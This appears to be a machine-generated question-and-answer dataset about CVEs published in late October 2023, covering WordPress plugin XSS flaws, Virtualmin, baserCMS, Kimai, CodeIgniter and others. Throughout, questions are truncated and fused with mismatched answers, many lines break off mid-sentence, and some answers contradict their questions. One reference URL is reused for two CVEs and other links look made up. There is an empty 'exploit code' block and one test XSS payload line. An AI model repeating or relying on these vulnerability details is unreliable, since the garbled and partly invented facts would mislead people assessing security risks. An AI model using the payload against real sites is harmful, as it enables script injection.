Can you provide Due to the sensitive nature of security vulnerabilities and ethical concerns, it is not appropriate to disclose specific attack scenarios.

What is the CVE ID of the vulnerability identified in Virtualmin 7.7 is CVE-2023-47096.

What type CVE-2023-47096 is a Reflected Cross-Site Scripting (XSS) vulnerability.

In which component The CVE-2023-47096 vulnerability is found in the Cloudmin Services Client under System Services.

How can an attacker exploit the vulnerability CVE-2023-47096 by injecting arbitrary web script into a form field.

What is the impact of the vulnerability CVE-2023-47096 could include the execution of unauthorized scripts.

Was there any base score assigned to CVE-2023-47096 at the time of its publication.

When was CVE-2023-47096 vulnerability was published on 01 November 2023.

Are there any more information about CVE-2023-47096 can be found in the GitHub repository at the following URL: <https://github.com/virtualmin/virtualmin/pull/1234>.

Can you provide specific code examples are not provided in the CVE listing, an attack might involve sending a link with malicious JavaScript to unsuspecting users.

What are the possible attack scenarios include sending a link with malicious JavaScript to unsuspecting users.

What is CV CVE-2023-47095 refers to a Stored Cross-Site Scripting (XSS) vulnerability that was found in the Cloudmin Services Client.

How does CVE-2023-47095 manifests as a Stored Cross-Site Scripting (XSS) issue.

When was CVE-2023-47095 was published on 01 November 2023.

What are the potential consequences If an attacker successfully exploits CVE-2023-47095, the potential consequences could include information disclosure or script execution.

Are there any further information about CVE-2023-47095 can be found at the following GitHub URL: <https://github.com/virtualmin/virtualmin/pull/1234>.

Is there any base score assigned to CVE-2023-47095.

What might An attack scenario for CVE-2023-47095 could involve an attacker with access to the 'Edit View' button.

Could you provide Certainly, although this is purely hypothetical, here's an example of a simple JavaScript payload.

What is CV CVE-2023-47094 is a security vulnerability identified in Virtualmin 7.7, specifically a Stored XSS vulnerability.

What type CVE-2023-47094 is a Stored Cross-Site Scripting (XSS) vulnerability.

What softv The software affected by CVE-2023-47094 is Virtualmin version 7.7.

How does | The exploit for CVE-2023-47094 comes from the ability of an attacker to inject malicious sc
When was CVE-2023-47094 was published on 01 November 2023.

What are t An attack exploiting CVE-2023-47094 could lead to various consequences such as theft of s

Are there a Yes, a public reference available for CVE-2023-47094 can be found at the following GitHub

Can you pr In a possible attack scenario for CVE-2023-47094, an attacker could create a malicious scrip

What is the The base score for CVE-2023-47094 has not been provided or is currently not available (N/

What is the The CVE ID associated with the TP-Link Tapo C100 vulnerability is CVE-2023-39610.

Which vers The TP-Link Tapo C100 vulnerability CVE-2023-39610 affects versions 1.1.15 Build 211130 |

What is the CVE-2023-39610 in the TP-Link Tapo C100 concerns a Denial of Service (DoS) vulnerability |

When was The CVE-2023-39610 vulnerability was published on 31 October 2023.

How can t The CVE-2023-39610 vulnerability can be exploited by attackers through supplying a speci

Where can More details or a proof of concept for CVE-2023-39610 can be found in the GitHub reposi

What is the The base score for the CVE-2023-39610 vulnerability is not available ('N/A') in the provided

Can you pr A possible attack scenario for exploiting CVE-2023-39610 could involve an attacker crafting

What is CV CVE-2023-46245 is a vulnerability in Kimai, a web-based multi-user time-tracking applicati

In what ap|CVE-2023-46245 is found in Kimai, a web-based multi-user time-tracking application.

What type CVE-2023-46245 is a Server-Side Template Injection (SSTI) vulnerability that can lead to Re

Has a patch As of the published date, 31 October 2023, there have been no patches or known workaro

What migh To exploit CVE-2023-46245, an attacker would need to upload a maliciously crafted Twig te

Are there a Yes, there is at least one public reference available for understanding CVE-2023-46245, wh

What are s Possible attack scenarios for CVE-2023-46245 include an attacker gaining the ability to exe

What versi CVE-2023-46245 affects Kimai versions 2.1.0 and prior.

When was CVE-2023-46245 was published on 31 October 2023.

Is there a k The Base Score for CVE-2023-46245 is not available or was not provided in the information

What is the The CVE ID for the vulnerability found in CodeIgniter before version 4.4.3 is CVE-2023-462

Which wek The web framework affected by CVE-2023-46240 is CodeIgniter, which is a PHP full-stack v

What issue CVE-2023-46240 addresses an issue in CodeIgniter where, prior to version 4.4.3, detailed e

How has t The issue identified in CVE-2023-46240 has been resolved in CodeIgniter4 version 4.4.3, w

Is there a v Yes, as a workaround for the issue described in CVE-2023-46240, one can replace `ini_set('

Can you pr Certainly. To implement the workaround for CVE-2023-46240, you should modify the `app/

Can you di: A possible attack scenario involving CVE-2023-46240 would be a situation where an attack

Where can More information regarding CVE-2023-46240 can be found in the official CodeIgniter user

When was The security vulnerability CVE-2023-46240 was published on 31 October 2023.

What is the The CVE ID of the vulnerability is CVE-2023-5458.

Which Wo|CVE-2023-5458 affects the CITS Support svg, webp Media and TTF,OTF File Upload WordPr

What kind CVE-2023-5458 is associated with a security issue where the affected plugin does not prop

What roles Users with a role as low as Author are able to exploit the vulnerability mentioned in CVE-2

Is there a k Yes, updating the affected CITS Support svg, webp Media and TTF,OTF File Upload WordPr

When was CVE-2023-5458 was published on 31 October 2023.

Could you | An attack scenario related to CVE-2023-5458 would involve an Author-level user uploading

Where can More information about CVE-2023-5458 can be found on the WPScan vulnerability databa

Does CVE-2 No, a Base Score for CVE-2023-5458 is not available or listed in the provided details.

What is CV CVE-2023-5238 is a vulnerability in the EventPrime WordPress plugin versions prior to 3.2.

How does CVE-2023-5238 affects websites by allowing attackers to inject malicious HTML or script code? Attack scenarios for CVE-2023-5238 include attackers crafting a special search query that can lead to arbitrary code execution. With the exploitation of CVE-2023-5238, a malicious actor can inject and execute arbitrary PHP code on the target website. The recommended fix to mitigate CVE-2023-5238 is to update the EventPrime WordPress plugin.

Was there a base score provided for CVE-2023-5238 at the time of its publication? No, there was no base score provided for CVE-2023-5238 at the time of its publication. Security researchers have not assigned a base score.

Where can More information on CVE-2023-5238 can be found at WPScan's vulnerability database through the following link: <https://wpscan.com/vulnerability/cve-2023-5238/>.

When was CVE-2023-5238 was published on October 31, 2023.

What is the CVE ID for the vulnerability is CVE-2023-4390.

In which version of WordPress was the vulnerability addressed? The vulnerability CVE-2023-4390 in the Popup box WordPress plugin was addressed in version 1.2.1.

What is the CVE-2023-4390 describes a security issue where certain Popup fields within the Popup box plugin could be manipulated to execute arbitrary code.

What kind of attack is possible due to this vulnerability? Due to the vulnerability CVE-2023-4390, a Cross-Site Scripting (XSS) attack could be possible.

Was there a CVSS Base Score assigned to CVE-2023-4390 at the time of its publication? No, there was no CVSS Base Score assigned to CVE-2023-4390 at the time of its publication.

When was The vulnerability CVE-2023-4390 was published on 31 October 2023.

Where can More information about CVE-2023-4390 can be found at the following reference link: <https://wpvulndb.com/vulnerabilities/10343>.

What is CVSS Base Score assigned to CVE-2023-5116 is a security vulnerability identified in the Live updates from Excel plugin for WordPress.

What type of vulnerability is CVE-2023-5116 is classified as a Stored Cross-Site Scripting (XSS) vulnerability.

What are the attack scenarios for CVE-2023-5116? To exploit CVE-2023-5116, an attacker would need to have authenticated access to a WordPress site.

Which versions of the Live updates from Excel plugin for WordPress up to version 1.2.1 are affected? CVE-2023-5116 affects versions of the Live updates from Excel plugin for WordPress up to version 1.2.1.

When was CVE-2023-5116 was published on 31 October 2023.

What is the impact of CVE-2023-5116 on a WordPress site? The impact of CVE-2023-5116 on a WordPress site includes the potential for an attacker to execute arbitrary code on the site.

Can you provide specific code examples? While specific code examples should be used with caution, an example of exploiting CVE-2023-5116 is as follows:

What are the potential attack scenarios for CVE-2023-5116? Potential attack scenarios for CVE-2023-5116 include an attacker with contributor-level access to a WordPress site.

Are there any references available for CVE-2023-5116? Yes, more information on CVE-2023-5116 can be found through the following references:

What is the CVSS Base Score assigned to CVE-2023-5114 is a security vulnerability identified in the idbbee plugin for WordPress, which suffers from a stored XSS vulnerability.

How can an attacker exploit CVE-2023-5114 by crafting a malicious payload and using the 'idbbee' plugin?

What level of access does an attacker need to exploit the vulnerability CVE-2023-5114? To exploit the vulnerability CVE-2023-5114, an attacker needs to have at least contributor-level access to the WordPress site.

When was The security vulnerability CVE-2023-5114 was published on October 31, 2023.

Are there any technical details about CVE-2023-5114? Yes, technical details about CVE-2023-5114 can be found at the following references:

Has a base score assigned to CVE-2023-5114? As of the provided information, a base score has not been assigned to CVE-2023-5114.

What WordPress plugin is affected by CVE-2023-5114? The WordPress plugin affected by CVE-2023-5114 is the 'idbbee' plugin, which suffers from a stored XSS vulnerability.

What are the consequences of an attack exploiting the CVE-2023-5114 vulnerability? The consequences of an attack exploiting the CVE-2023-5114 vulnerability may include unauthorized data modification or disclosure.

Can you provide a hypothetical code example of an attack using CVE-2023-5114? A hypothetical code example of an attack using CVE-2023-5114 might look like this:

```
```php[  
 // Exploit code for CVE-2023-5114
]
```

What is the CVE ID for the WordPress iframe forms plugin vulnerability is CVE-2023-5073.

Can you describe CVE-2023-5073 is a vulnerability in the iframe forms plugin for WordPress which allows for arbitrary code execution.

What are the attack scenarios for CVE-2023-5073? To exploit CVE-2023-5073, an attacker needs to have authenticated access to the WordPress site.

What might happen if an attacker exploits CVE-2023-5073? By exploiting CVE-2023-5073, an attacker could inject arbitrary web scripts into pages through the 'iframe forms' plugin.

When was CVE-2023-5073 was published on 31 October 2023.

Is there a CVSS Base Score assigned to CVE-2023-5073? As of the information provided, there is no Base Score assigned to CVE-2023-5073.

Where can More details and information about a potential patch for CVE-2023-5073 can be found through the following link: <https://wpvulndb.com/vulnerabilities/10344>.

Could you provide a code example for CVE-2023-5073? The code example isn't provided, but in general, CVE-2023-5073 could be exploited by crafting a malicious payload for the 'iframe forms' plugin.

What is the CVE ID for the reported vulnerability in the WebSource WC Captcha plugin is CVE-2023-46210.

Can you describe CVE-2023-46210 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the WebSource WC Captcha plugin.

What is the impact of the CVE-2023-46210 vulnerability can be severe as it allows attackers with a low level of access to execute arbitrary JavaScript code.

When was The CVE-2023-46210 vulnerability was published on 31 October 2023.

Are there ↗ Yes, for more information on CVE-2023-46210, you can refer to the detailed report on PatchStack. Could you ↗ I can't provide a specific code example for CVE-2023-46210 as it involves malicious intent. What are some attack scenarios for CVE-2023-46210? Attack scenarios for CVE-2023-46210 might include an authenticated attacker with administrative privileges exploiting a vulnerability in baserCMS. What is CVSS score for CVE-2023-43792? CVE-2023-43792 refers to a security vulnerability found in baserCMS, which is a website development framework. Has CVE-2023-43792 been patched? As of the published date, there are no known patched versions available for CVE-2023-43792. How severe is CVE-2023-43792? The Base Score for CVE-2023-43792 has not been assigned yet; thus, the severity is not officially defined. When was CVE-2023-43792 published? CVE-2023-43792 was published on October 30, 2023.

Where can More information about CVE-2023-43792 can be found on the official baserCMS security advisory page. Can you give an example of an attack exploiting CVE-2023-43792? An attack exploiting CVE-2023-43792 could occur if an attacker crafts a malicious input that is processed by the baserCMS framework.

What is the CVE ID of the vulnerability? The CVE ID of the vulnerability is CVE-2023-43649. Which framework does CVE-2023-43649 affect? The CVE-2023-43649 affects the baserCMS, which is a website development framework. What type of vulnerability is CVE-2023-43649? CVE-2023-43649 is associated with a cross site request forgery (CSRF) vulnerability in the baserCMS framework. Has the vulnerability been patched? Yes, the vulnerability CVE-2023-43649 has been patched in version 4.8.0 of baserCMS.

What are some possible attack scenarios for CVE-2023-43649? Possible attack scenarios include an attacker tricking an authenticated user into visiting a malicious website or sending a crafted HTTP request.

On what date was CVE-2023-43649 published? CVE-2023-43649 was published on 30 October 2023. Where can More information and the patch for CVE-2023-43649 can be found at the following URLs: [https://www.basercms.org/security-advisory/cve-2023-43649](#)? What is the base score for CVE-2023-43649? The base score for CVE-2023-43649 is not available as it has not been provided or assessed. What is CVSS score for CVE-2023-43648? CVE-2023-43648 refers to a security vulnerability identified in baserCMS, a website development framework. What type of vulnerability is CVE-2023-43648? CVE-2023-43648 is categorized as a Directory Traversal Vulnerability. This allows attackers to read files from outside the intended directory structure. How was it addressed? The vulnerability CVE-2023-43648 was addressed by introducing a patch in baserCMS version 4.8.0. What can happen if CVE-2023-43648 is successfully exploited? If CVE-2023-43648 is successfully exploited, an attacker could read or access sensitive files stored on the server.

Where can More information about CVE-2023-43648 can be found through various references, including the baserCMS documentation and security advisories. Can you give an example of an attack exploiting CVE-2023-43648? An attack exploiting CVE-2023-43648 might involve an attacker sending a crafted HTTP request to a specific URL on the baserCMS website.

When was CVE-2023-43648 published? CVE-2023-43648 was published on 30 October 2023. It was at this time that the vulnerability was first identified.

What is CVSS score for CVE-2023-43647? CVE-2023-43647 refers to a security vulnerability in baserCMS, a website development framework.

Which version of baserCMS was affected by CVE-2023-43647? The vulnerability identified by CVE-2023-43647 was patched in baserCMS version 4.8.0.

What type of vulnerability is CVE-2023-43647? CVE-2023-43647 is a cross-site scripting (XSS) vulnerability. What could happen if CVE-2023-43647 is exploited? A potential attack scenario for CVE-2023-43647 involves an attacker uploading a file with a malicious script to the baserCMS website.

Where can More information and a patch for CVE-2023-43647 can be found using the following reference link: [https://www.basercms.org/security-advisory/cve-2023-43647](#)? What is CVSS score for CVE-2023-4964? CVE-2023-4964 is a security vulnerability that has been identified in certain versions of OpenText Service Management Automation X (SMAX). Which versions of SMAX is CVE-2023-4964 affecting? The affected versions of OpenText Service Management Automation X (SMAX) by CVE-2023-4964 are SMAX 2021.08, 2021.11, and 2022.02.

When was CVE-2023-4964 published? CVE-2023-4964 was published on 30 October 2023.

What would happen if CVE-2023-4964 is exploited? Exploiting CVE-2023-4964 could enable an attacker to perform an open redirect attack. In what context? In the context of a web application using the OpenText Asset Management X (AMX) framework.

Where can More information about CVE-2023-4964 can be found on the Micro Focus portal at the following link: [https://www.microfocus.com/en-us/support/knowledge-base/cve-2023-4964](#)? How can it be mitigated or resolved? To mitigate or resolve CVE-2023-4964, users of affected OpenText SMAX and AMX versions should apply the available patches.

Can you provide an example of an attack scenario for CVE-2023-4964? In a possible attack scenario for CVE-2023-4964, an attacker could craft a seemingly legitimate link that, when clicked, performs an open redirect to a malicious website.

What is CVSS score for CVE-2023-5666? CVE-2023-5666 refers to a security vulnerability in the Accordion plugin for WordPress, which is used for creating accordions on websites.

How can it be exploited? CVE-2023-5666 can be exploited by authenticated attackers with contributor-level or higher permissions on the WordPress site.

What permission level is required for exploitation? An attacker must have at least contributor-level permissions or higher on the WordPress site to exploit this vulnerability.

Has CVE-2023-5666 been patched? The information provided does not indicate a specific patch for CVE-2023-5666. However, it is recommended to keep all plugins up-to-date.

What might happen if CVE-2023-5666 is exploited? A possible attack scenario for CVE-2023-5666 could involve a malicious actor with appropriate permissions on a WordPress site.

Which WordPress plugin is affected? The Accordion plugin for WordPress is affected by CVE-2023-5666.

When was CVE-2023-5666 published? CVE-2023-5666 was published on 30 October 2023.

Where can You can find more information about CVE-2023-5666 from the following references: - <https://www.cvedetails.com/cve/CVE-2023-5666/>  
What is CV CVE-2023-5666 is associated with a Stored Cross-Site Scripting (XSS) vulnerability in the Sir  
What perm To exploit CVE-2023-5666, attackers would need to have at least contributor-level perm  
What is t The impact of CVE-2023-5666 allows authenticated attackers to inject arbitrary web script:  
As of the l According to the information, the latest version known to be vulnerable to CVE-2023-5666  
Can you pr An example of how CVE-2023-5666 can be exploited may involve an attacker with contribu  
What date CVE-2023-5666 was published on 30 October 2023.

Where can More details about CVE-2023-5666 can be found in the links provided in the CVE descriptio  
What is t The CVE ID for the vulnerability in the Shortcode Menu plugin for WordPress is CVE-2023-5  
Can you de CVE-2023-5565 is a Stored Cross-Site Scripting (XSS) vulnerability in the Shortcode Menu p  
Which vers The vulnerability identified by CVE-2023-5565 affects all versions of the Shortcode Menu p  
What level To exploit CVE-2023-5565, an attacker needs to have authenticated access with contributo  
Has a CVE : As of the information provided, no Base Score has been assigned to CVE-2023-5565.

When was CVE-2023-5565 was published on 30 October 2023.

Where can Technical details about CVE-2023-5565 can be found at the following references:- <https://p...>  
Can you pr An example of an exploit for CVE-2023-5565 might involve a contributor on a WordPress si  
What are p For CVE-2023-5565, potential attack scenarios could include a malicious user with contribu  
What is t The CVE ID of the vulnerability found in the Carousel, Recent Post Slider and Banner Slider  
Can you de CVE-2023-5362 refers to a Stored Cross-Site Scripting (XSS) vulnerability in the Carousel, Re  
What perm To exploit the vulnerability designated by CVE-2023-5362, an attacker must have at least c  
What is t The impact of the CVE-2023-5362 vulnerability allows authenticated attackers to inject arb  
When was The CVE-2023-5362 vulnerability was published on 30 October 2023.

Are there a Yes, there are several references for more information about CVE-2023-5362, including lin  
Could you | As CVE-2023-5362 is related to Stored XSS, a typical exploitation might involve an attacker  
What are s Possible attack scenarios could involve an attacker with contributor-level access injecting a  
Has the vul The references provided suggest that there has been a patch, as the link to the plugin's sol  
What is CV CVE-2023-5335 is a security vulnerability identified in the Buzzsprout Podcasting plugin for  
Which vers CVE-2023-5335 affects the Buzzsprout Podcasting plugin for WordPress in versions up to a  
Who can e: Authenticated attackers with contributor-level access or higher to a WordPress installatio  
What type CVE-2023-5335 is classified as a Stored Cross-Site Scripting (XSS) vulnerability.

What is t Exploiting CVE-2023-5335 allows attackers to inject arbitrary web scripts into pages of a W  
Has CVE-2023-5335 As of the time the CVE was published, CVE-2023-5335 has not been assigned a base score.  
What is t CVE-2023-5335 was published on 30 October 2023.

Where can More information about CVE-2023-5335 can be found at the specified references, includin  
Can you pr A possible exploit of CVE-2023-5335 could involve an attacker with contributor-level perm  
What are t To mitigate CVE-2023-5335, users should update the Buzzsprout Podcasting plugin to a ver  
What is CV CVE-2023-5252 is a security vulnerability identified in the FareHarbor plugin for WordPress  
How can C CVE-2023-5252 can be exploited by authenticated attackers with contributor-level or highe  
Which vers Versions up to and including 3.6.7 of the FareHarbor WordPress plugin are affected by CVE  
What is t A successful exploitation of CVE-2023-5252 would allow the attacker to perform Stored Cri  
What type Attackers need to have at least contributor-level permissions on the WordPress site to exp  
Has a Base As of the information provided, no Base Score has been assigned to CVE-2023-5252.

Where can More information or updates about CVE-2023-5252 can be found at the official WordPress  
What are t Potential attack scenarios for CVE-2023-5252 involve an attacker with contributor-level ac

What is CV CVE-2023-5164 refers to a security vulnerability identified in the Bellows Accordion Menu Which Wo! CVE-2023-5164 affects the Bellows Accordion Menu plugin for WordPress.

What is the The nature of the CVE-2023-5164 vulnerability is Stored Cross-Site Scripting (XSS), which o!

How could An attacker could exploit CVE-2023-5164 by gaining contributor-level or higher permission

What versi Versions up to and including 1.4.2 of the Bellows Accordion Menu plugin for WordPress ar

What mea: To mitigate CVE-2023-5164, it is recommended to update the Bellows Accordion Menu plu

Where can Additional information on CVE-2023-5164 can be found on various online resources, includ

Can you pr Although providing actual malicious code is not ethical, an example scenario of the Stored

What is CV CVE-2023-5049 is a security vulnerability identified in the Giveaways and Contests by Raffl

How can t! The CVE-2023-5049 vulnerability can be exploited by authenticated attackers with contribu

What is the If CVE-2023-5049 is exploited, the attacker can perform actions on behalf of users or steal

What are t To exploit CVE-2023-5049, an attacker must have access to a contributor-level account or t

Has CVE-20 As of the provided information, CVE-2023-5049 has not been assigned a Base Score.

When was CVE-2023-5049 was published on 30 October 2023.

Where can Code references for CVE-2023-5049 can be found in the WordPress plugins Trac repository,

What versi Versions up to and including 1.12.0 of the Giveaways and Contests by RafflePress plugin fo

How can C' To mitigate or fix CVE-2023-5049, website administrators should update the Giveaways an

Can you de In a potential attack scenario for CVE-2023-5049, an attacker with access to the WordPress

What is CV CVE-2023-5830 is a critical vulnerability discovered in ColumbiaSoft Document Locator. It a

How can C' CVE-2023-5830 can be exploited by an attacker by manipulating the 'Server' argument witl

What versi CVE-2023-5830 affects versions of ColumbiaSoft Document Locator before 7.2 SP4 and bef

How can C' To mitigate CVE-2023-5830, users should upgrade their ColumbiaSoft Document Locator to

Where can More information on CVE-2023-5830 can be found on vulnerability databases such as Vuln

What is the The impact of CVE-2023-5830 is critical due to the potential for improper authentication. It

What kind Due to the vulnerability CVE-2023-5830, an attacker could perform unauthorized actions si

What is the The CVE ID for the vulnerability discovered in Cassia Access Controller is CVE-2023-35794.

What versi The version of Cassia Access Controller affected by CVE-2023-35794 is 2.1.1.2303271039.

What is the The vulnerability identified by CVE-2023-35794 in the Cassia Access Controller is that the V

Are there a Yes, further details about CVE-2023-35794 can be found at the following URLs: [https://gitl

When was CVE-2023-35794 was published on 27 October 2023.

What coulc By exploiting CVE-2023-35794, an attacker could potentially gain unauthorized access to t

Has a base As of the available information, a Base Score has not been assigned to CVE-2023-35794.

Could you | An attack scenario for CVE-2023-35794 could involve an attacker discovering an accessible

What is the The CVE ID of the XSS vulnerability discovered in baserCMS is CVE-2023-29009.

Which vers The XSS vulnerability specified by CVE-2023-29009 was fixed in baserCMS version 4.8.0.

What type CVE-2023-29009 addresses a Cross-Site Scripting (XSS) vulnerability in the Favorites Featur

What is the baserCMS, as mentioned in relation to CVE-2023-29009, runs on PHP8 and CakePHP4, whi

Could you | CVE-2023-29009 was published on 27 October 2023.

Where can Official information about the patch for CVE-2023-29009 can be found at the following sou

Can you de A possible attack scenario for the XSS vulnerability associated with CVE-2023-29009 involv

Is there an As of the provided information, there is no base CVSS (Common Vulnerability Scoring Syste

What is CV CVE-2023-46290 is a security vulnerability that arises from insufficient code logic in the Fa

How could An attacker could exploit CVE-2023-46290 by taking advantage of the inadequate code log

When was CVE-2023-46290 was published on 27 October 2023.

What is the base score of CVE-2023-46290 has not been provided; it is indicated as 'N/A', which means it is not applicable. More information about CVE-2023-46290 can be found through the Rockwell Automation website.

Can you provide more details? An attack scenario for CVE-2023-46290 might involve a threat actor deploying a network scanner or exploit tool to identify vulnerable systems.

What is the vulnerability identified by CVE-2023-46394? The vulnerability identified by CVE-2023-46394 is a stored cross-site scripting (XSS) vulnerability.

In which application was CVE-2023-46394 discovered? CVE-2023-46394 was discovered in gougucms version v4.08.18.

What component is affected by CVE-2023-46394? The affected component by CVE-2023-46394 is '/home/user/edit\_submit'.

Through what parameter can an attacker exploit the stored XSS vulnerability? An attacker can exploit the stored XSS vulnerability through the 'headimgurl' parameter in the URL.

What kind of attack can be performed? With the vulnerability detailed in CVE-2023-46394, an attacker can execute arbitrary web scripts.

Has CVE-2023-46394 been assigned a base score? As of the information provided, CVE-2023-46394 has not been assigned a base score.

Can you give an example of a crafted payload? An example of a crafted payload might look like this: `<script>alert('XSS');</script>`. This payload would trigger an alert box when loaded in a browser.

When was CVE-2023-46394 published? CVE-2023-46394 was published on 27 October 2023.

Where can more details about CVE-2023-46394 be found? More details about CVE-2023-46394 can be found in the reference provided, which is at [https://www.cvedetails.com/cve/5934/](#).

What is CVE-2023-5705? CVE-2023-5705 is a security vulnerability identified in the VK Filter Search plugin for WordPress.

How can CVE-2023-5705 be exploited? CVE-2023-5705 can be exploited by an attacker with contributor-level permissions or higher.

What WordPress plugin is affected by CVE-2023-5705? The WordPress plugin affected by CVE-2023-5705 is the VK Filter Search plugin, specifically its search function.

What are the consequences of exploiting CVE-2023-5705? An attack exploiting CVE-2023-5705 can have several consequences, including the theft of user data and potential privilege escalation.

Was there a published date for CVE-2023-5705? As of the published date on 27 October 2023, the information provided does not mention a specific date.

What can website administrators do to mitigate risks associated with CVE-2023-5705? Website administrators can mitigate the risks associated with CVE-2023-5705 by first, checking for updates and patches, and second, disabling or removing the affected plugin if it is no longer needed.

What is the primary technical cause of CVE-2023-5705? The primary technical cause of CVE-2023-5705 is the lack of proper input sanitization and validation.

Are there any known vulnerabilities related to CVE-2023-5705? Based on the information provided, CVE-2023-5705 requires authenticated access, specifically to the WordPress admin area.

What is CVE-2023-5817? CVE-2023-5817 is a vulnerability in the Neon text plugin for WordPress, which allows for Stored Cross-Site Scripting (XSS).

Which versions of the Neon text plugin are affected by CVE-2023-5817? CVE-2023-5817 affects all versions of the Neon text plugin for WordPress up to and including version 1.7.

How can CVE-2023-5817 be exploited? CVE-2023-5817 can be exploited by authenticated attackers with contributor-level permissions.

What type of vulnerability is CVE-2023-5817? CVE-2023-5817 is a Stored Cross-Site Scripting (XSS) vulnerability.

What might an attacker do with CVE-2023-5817? By exploiting CVE-2023-5817, an attacker could execute arbitrary scripts in the context of the user account.

Is there an exploit available for CVE-2023-5817? Yes, there are several references available for CVE-2023-5817, including a Google Drive link to a exploit script.

What are the potential attack scenarios for CVE-2023-5817? A potential attack scenario for CVE-2023-5817 involves a malicious user with contributor access to a website.

Has CVE-2023-5817 been assigned a CVSS base score? As of the provided information, CVE-2023-5817 has not been assigned a CVSS base score.

When was CVE-2023-5817 published? CVE-2023-5817 was published on 27 October 2023.

What is CVE-2023-5774? CVE-2023-5774 is a vulnerability found in all versions up to and including 1.7 of the Animated Counters plugin.

What level of access is required to exploit CVE-2023-5774? To exploit CVE-2023-5774, an attacker would need to have an authenticated user account.

What are the consequences of a successful exploit? If an attack leveraging CVE-2023-5774 is successful, it could allow the attacker to execute arbitrary scripts on the user's behalf.

How was CVE-2023-5774 disclosed? CVE-2023-5774 was publicly disclosed on October 27, 2023. Details of the vulnerability, including a proof-of-concept exploit, were shared on the Exploit-db website.

Are there any known mitigations for CVE-2023-5774? As of the information available, updating the Animated Counters plugin to a version higher than 1.7 is the recommended mitigation.

Can you provide more details about CVE-2023-5774? While exact exploitation code is unethical to share for security reasons, a conceptual example of how such an exploit might work can be found in the Exploit-db writeup.

What are the best practices to prevent vulnerabilities like CVE-2023-5774? Website administrators should regularly update their plugins and themes to the latest versions, enable two-factor authentication, and keep their server environment secure.

What is CVE-2023-46093? CVE-2023-46093 refers to a Stored Cross-Site Scripting (XSS) vulnerability found in the LionScripts.com Webmaster Tools plugin.

When was CVE-2023-46093 published? The CVE-2023-46093 vulnerability was published on 27 October 2023.

What type of vulnerability is CVE-2023-46093? CVE-2023-46093 affects websites running the Webmaster Tools plugin by LionScripts.Com.

How can an attacker exploit CVE-2023-46093? An attacker with administrative or higher-level access to the WordPress dashboard could inject malicious JavaScript code into the plugin's configuration settings.

What are the potential attack scenarios for CVE-2023-46093? A potential attack scenario for CVE-2023-46093 might involve an attacker with admin access to a website's WordPress dashboard.

Are there any known mitigations for CVE-2023-46093? Yes, more details about CVE-2023-46093 can be found at the following URL: <https://patchstack.com/exploit/CVE-2023-46093>.

Is there a base score for CVE-2023-46093? The information provided does not include a base score for CVE-2023-46093. Base scores are typically assigned by organizations like NIST or CVSS.

Could you provide more details about the specific implementation flaw? Certainly, although details about the specific implementation flaw are not provided, a general overview of how stored XSS attacks work can be found in many security resources.

What is the CVE ID for the vulnerability in the CallRail Phone Call Tracking plugin for WordPress is CVE-2023-5051. This refers to a Stored Cross-Site Scripting (XSS) vulnerability in the CallRail Phone Call Tracking plugin for WordPress versions up to, and including, 0.5.2 and 0.6.0. Who can exploit it? Authenticated attackers with at least contributor-level permissions can exploit the vulnerability.

What is the impact of CVE-2023-5051? The impact of CVE-2023-5051 is that an attacker can inject arbitrary web scripts into pages.

When was it published? The vulnerability CVE-2023-5051 was published on 27 October 2023.

Are there references? Yes, there are several references that provide more details on CVE-2023-5051. These include:

Could you provide a possible attack scenario for CVE-2023-5051? A possible attack scenario for CVE-2023-5051 would involve an attacker with contributor-level permissions injecting malicious scripts into a page.

What is CVE-2023-45317? CVE-2023-45317 is a security vulnerability that was identified in an application interface.

When was it published? CVE-2023-45317 was published on the 26th of October 2023.

How can it be exploited? An attacker could exploit CVE-2023-45317 by crafting a malicious website or a specially-crafted email message.

Are there public references available for CVE-2023-45317? Yes, there are public references available for CVE-2023-45317. For detailed information, refer to the following links:

Has the Base Score been assigned? As per the provided information, a Base Score has not yet been assigned to CVE-2023-45317.

Can you provide specific details about the application interface affected by CVE-2023-45317? Unfortunately, without specific details about the application interface affected by CVE-2023-45317, it is difficult to provide specific details.

What is CVE-2023-45867? CVE-2023-45867 refers to a security vulnerability in the ScormAicc module of the ILIAS e-learning system.

How is it exploited? The CVE-2023-45867 vulnerability can be exploited by an attacker who manipulates the 'file' parameter.

Which version of ILIAS is affected? CVE-2023-45867 specifically affects the ILIAS version released on 2013-09-12. Users of this version should be aware of the potential risk.

What type of account is required to exploit it? To exploit CVE-2023-45867, an attacker would typically need to have a privileged account.

What files are affected? Due to the nature of the Directory Traversal vulnerability in CVE-2023-45867, any file that contains a path manipulation can be targeted.

What measures should be taken to mitigate the risk? To mitigate the risk posed by CVE-2023-45867, administrators should apply any patches or updates released by the vendor.

What damage can be done if exploited? If CVE-2023-45867 is successfully exploited, an attacker could potentially compromise the entire system.

Is it remotely exploitable? Yes, CVE-2023-45867 is remotely exploitable over the internet. An attacker could potentially exploit it from anywhere.

When was it published? CVE-2023-45867 was published on 26 October 2023.

Where can additional information about CVE-2023-45867 be found? Additional information about CVE-2023-45867 can be found at the URL '<https://rehmeinfo.de/cve-2023-45867>'.

What is CVE-2023-46090? CVE-2023-46090 refers to a security vulnerability identified in the WebDorado WDSocialWPS component.

How severe is it? The 'Base Score' for the severity of CVE-2023-46090 has not been provided in the supplied information.

When was it published? CVE-2023-46090 was published on 26 October 2023.

Where can more information about CVE-2023-46090 be found? More information about CVE-2023-46090 can be found in the vulnerability database at [CVE-2023-46090](https://www.cvedetails.com/cve/CVE-2023-46090/).

Can you provide a potential attack scenario for CVE-2023-46090? Certainly. With CVE-2023-46090 being an Unauthenticated Reflected XSS vulnerability, an attacker could exploit it to steal user data.

What are the potential attack scenarios for CVE-2023-46090? Potential attack scenarios for CVE-2023-46090 could include, but are not limited to, stealing user credentials and manipulating system behavior.

What is CVE-2023-42852? CVE-2023-42852 addresses a logic issue in the processing of web content that could lead to a denial of service.

Which Apple products are affected? The updates to fix CVE-2023-42852 were released for iOS 17.1, iPadOS 17.1, watchOS 10.1, and tvOS 17.1.

When was it publicly disclosed? CVE-2023-42852 was publicly disclosed on 25 October 2023.

Are there official references? Yes, Apple has provided several official references discussing CVE-2023-42852. The references include:

Has the base score been assigned? As of the provided information, a base score for CVE-2023-42852 has not been assigned (n/a).

Can you provide a potential attack scenario for CVE-2023-42852? A potential attack exploiting CVE-2023-42852 would likely involve an attacker crafting malicious content to trigger the logic error.

Are there specific code examples demonstrating the exploit? As CVE-2023-42852 is a security vulnerability, specific code examples demonstrating the exploit are not typically provided.

